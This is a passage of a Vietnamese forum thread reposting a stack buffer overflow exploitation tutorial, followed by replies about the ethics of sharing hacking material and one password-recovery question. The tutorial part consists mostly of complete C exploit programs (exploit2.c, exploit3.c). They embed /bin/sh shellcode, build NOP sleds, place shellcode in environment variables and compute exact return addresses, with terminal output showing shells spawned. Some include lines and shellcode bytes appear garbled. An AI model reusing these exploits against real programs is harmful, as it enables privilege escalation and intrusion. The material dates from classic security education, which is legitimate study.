[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600
Using address: 0xbffffa1c

( ... )

bash$
Thử với giá trị độ dời:
[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 100
Using address: 0xbffff9a8

( ... )

[SkZ0@gamma bof]$ ./exploit1 ./vuln1 600 -100
Using address: 0xbffffa70

( ... )

bash$
Chán đời đi lang thang !
Đăng nhập để trả lời
0
5.2. Truyền shellcode qua biến môi trường
Bây giờ, hãy quay trở lại với ví dụ đầu tiên, chương trình vuln.c (xem phần 1). Có thể thấy chương trình exploit1.c không thể khai thác được lỗi tràn bộ đệm trong vuln.c do kích thước bộ đệm bị tràn quá nhỏ (16 byte) không đủ để đặt vừa shellcode. Khi đó địa chỉ trả về sẽ bị ghi đè bởi các mã lệnh thay vì giá trị địa chỉ cần nhảy đến. Để vượt qua trở ngại này, chúng ta sẽ dùng một "bộ đệm" khác để lưu trữ shellcode. Thông thường có thể dùng biến môi trường (environment) hoặc một tham số dòng lệnh chương trình (argument) để chứa shellcode do các biến này đều được cấp trên stack, tuy nhiên sử dụng biến môi trường là phương pháp đơn giản và hiệu quả hơn. Với shellcode được chứa trong biến môi trường, bộ đệm dùng để làm tràn chỉ đơn giản chứa toàn giá trị địa chỉ (phỏng đoán) của biến môi trường chứa shellcode.
Chương trình exploit1.c được sửa lại như sau (có thêm một tham số là kích thước của bộ đệm chứa shellcode).
/* exploit2.c */
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc < 2) {
printf("Usage: %s target [bsize offset eggsize]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
if (argc > 4) eggsize = atoi(argv[4]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

/* NOP+shellcode được đặt trong biến môi trường */
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

setenv("EGG", egg, 1);
execl(argv[1],argv[1],buff,NULL);
}
Hãy thử chương trình khai thác lỗi mới:
[SkZ0@gamma bof]$ ./exploit2 ./vuln
Using address: 0xbffffa18

( ... )

bash$
Có thể thấy cách sử dụng biến môi trường khá hiệu quả. Phương pháp sau (chỉ áp dụng cho Linux x86) cũng sử dụng biến môi trường để chứa shellcode nhưng xác định được chính xác địa chỉ của biến môi trường này. Do đó, ta không cần phải lấp đầy các NOP vào đầu bộ đệm chứa shellcode, cũng như địa chỉ shellcode được xác định chính xác thay vì phải phỏng đoán.
Phần địa chỉ cao nhất (tương đương phần đáy của stack) của một file chương trình ELF, Linux x86 có dạng:

Hình 4: Cấu trúc đáy stack của Linux x86
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Ta thấy, địa chỉ biến môi trường cuối cùng được tính theo công thức sau:

envpn = 0xBFFFFFFF -
4 - // 4 NULL bytes
strlen(program_name) - // chiều dài chuỗi tên chương trình
1 - // giá trị null của chuỗi tên chương trình
strlen(envp[n])) // độ dài của biến môi trường cuối cùng

hay rút gọn:
envpn = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
Các hàm gọi thực thi chương trình như execle, execve cho phép truyền con trỏ biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của nó.
Công thức để tính đia chỉ của shellcode:
addr = 0xBFFFFFFA - strlen(prog_name) - strlen(shellcode);
Chương trình khai thác lỗi mới được viết như sau:
/* exploit3.c */
#include

#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i;

char *env[2] = {shellcode, NULL};

if (argc < 2) {
printf("Usage: %s target [bsize]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);
printf("Using address: 0x%x\n", addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
buff[bsize - 1] = '\0';

execle(argv[1],argv[1],buff,NULL,env);
}
Trong chương trình trên, chúng ta đã truyền cho chương trình bị lỗi con trỏ biến môi trường chỉ với một biến duy nhất là bộ đệm chứa shellcode, do đó độ dài của biến môi trường chính là độ dài của shellcode. Thử chương trình khai thác lỗi mới này:
[SkZ0@gamma bof]$ ./exploit3 ./vuln
Using address: 0xbfffffd4

( ... )

bash$

Chán đời đi lang thang !
Đăng nhập để trả lời
0
6. Kết luận
Hy vọng những gì đã trình bày có thể giúp các bạn hiểu được nguyên nhân và hậu quả dẫn đến của lỗi tràn bộ đệm. Kỹ thuật khai thác lỗi tràn bộ đệm là hoàn toàn không khó khi đã có cơ sở lý thuyết hết sức rõ ràng, mặc dù nó đòi hỏi phải có hiểu biết chút ít về ngôn ngữ lập trình. Việc tránh lỗi bộ đệm xảy ra cũng có thể đạt được không mấy khó khăn, đó là thực hiện nguyên tắc: tạo các chương trình an toàn ngay từ khi thiết kế.

Tài liệu tham khảo
1. Smashing The Stack For Fun And Profit - Aleph1
2. Avoiding security holes when developing an application - Frédéric Raynal, Christophe Blaess, Christophe Grenier
3. BUFFER OVERFLOWS DEMYSTIFIED - Murat Balaban
4. Writing buffer overflow exploits - a tutorial for beginners - Mixter
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Các bạn đọc đã ngán chưa? Nếu chưa thì sau này mìh sẽ tiếp tục gửi một số kỹ thuật hack khác.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
Chào CDDLT (=Chận Đường Để Làm Tiền ??? [:D]),

Mang tài liệu vào DĐ đâu có phạm luật gì đâu.
Như bạn đã nói, hackers có "mũ trắng" & "mũ đen", nếu chỉ làm tham khảo để hiểu biết thêm thì rất tốt, nhưng nếu tài liệu lọt vào tay người thích con đường "đen" thì sao? [;)]

Theo KDG nghĩ, tốt nhất là mình đừng hướng dẫn hack 1 cách quá tường tận là được rồi (ví dụ như cho biết có các default passwords, nhưng đừng đưa hết list ra...)

Dù sao cũng cám ơn tài liệu của CDDLT (mặc dù KDG đọc không hiểu gì hết) [:)]
Đăng nhập để trả lời
0
Cảm ơn KDG
Mình cũng rút kinh nghiệm, kỳ sau sẽ chỉ đưa các tài liệu về kiến thức mạng và bảo mật thôi, không đưa tài liệu về kỹ thuật hack nưã đâu.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
hiểu được những khái niệm trên không hẳn là HACKER đâu bạn ạ ! hacker là nhửng người am hiểu về hệ thống và khám phá hệ thống , theo hướng nào đó mà sinh ra trăng hay đen , dẫu sao nó chỉ là thành quả của hành động mà phân biệt vậy ! xin hỏi tác giả bài này là HACKER ?
Đăng nhập để trả lời
0
Vâng, những bài này mình lấy từ forum của VietHacker, như đã báo từ đầu những bài sưu tầm này. Tác giả là những hacker nổi tiếng của VN đấy.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
À, còn người đưa bài này lên thì không phải hacker đâu, chỉ là một người thích đi lục lọi tìm những cái hay hay trên mạng thôi!!!
Chán đời đi lang thang !
Đăng nhập để trả lời
0
hiểu được những khái niệm trên không hẳn là HACKER đâu bạn ạ ! hacker là nhửng người am hiểu về hệ thống và khám phá hệ thống , theo hướng nào đó mà sinh ra trăng hay đen , dẫu sao nó chỉ là thành quả của hành động mà phân biệt vậy ! xin hỏi tác giả bài này là HACKER ?

Blackart nói đúng, KDG cũng nghĩ hacker thiệt thì không cần đọc những tài liệu này nữa đâu ! [;)]
Hiểu về máy/mạng/cách tấn công của hacker thì giúp mình tìm cách phòng ngừa, không có gì là xấu...

Cho nên KDG không hề chống đối lọai tài liệu này (ngược lại KDG còn tìm đọc thêm nữa)...

Mặt khác, hacker thứ thiệt chỉ tấn công những mục tiêu đáng tấn công thôi, đáng sợ chính là những người tập tành làm hacker, gặp ai cũng tấn công á... Cho nên tốt nhất là đừng để tài liệu hướng dẫn hack lọt vào tay của những người như vậy... [:)]
Đăng nhập để trả lời
0
UI! UI!
ở đây có ai là hacker không? Cho PCCC nhờ với! PCCC có cái mail cũ là "pipingoaymui", nhưng PCCC làm mất rồi, PCCC đổi password thế là quên mất pass mới là gì.
Có cách nào lấy lại không ạ?
mà...... hình như cũng không nhiều hi vọng, vì mấy đứa bạn của PCCC nói là chỉ hack được nếu có ai đang sử dụng mail đó thôi.
Còn mail của PCCC là do bị quên pass mà.
Đường và chân là đôi bạn thân. Chân đi chơi, chân đi học, đường ngang dọc đường dẫn tới nơi.
Đăng nhập để trả lời
0
Hổng biết có Hacker ở đây không, nhưng CDDLT cũng hổng phải hacker đâu.
Trường hợp của PCCC đâu phải bị hack đâu, mà là do quên mật khẩu. Nếu PCCC còn nhớ câu hỏi gợi nhớ khi đăng ký hộp thư, thì khi vào http://mail.yahoo.com, bấm vào liên kết "Quên mật khẩu", sau đó nhập Yahoo ID ("pipingoaymui"), trả lời câu hỏi ngày xưa đã đăng ký. Nếu đúng thì Yahoo sẽ cấp cho bạn một mật khẩu mới và bạn có thể vào hộp thư để check mail lại được rồi. Bạn cũng có thể vào để đổi lại mật khẩu cho dễ nhớ. Còn nếu không nhớ câu hỏi thì... chịu thôi, CDDLT không biết cách nào giúp được, thôi thì đăng ký lại hộp thư khác chắc ăn hơn.
Thân mến.
Chán đời đi lang thang !
Đăng nhập để trả lời
0
«« « 1 2 » »»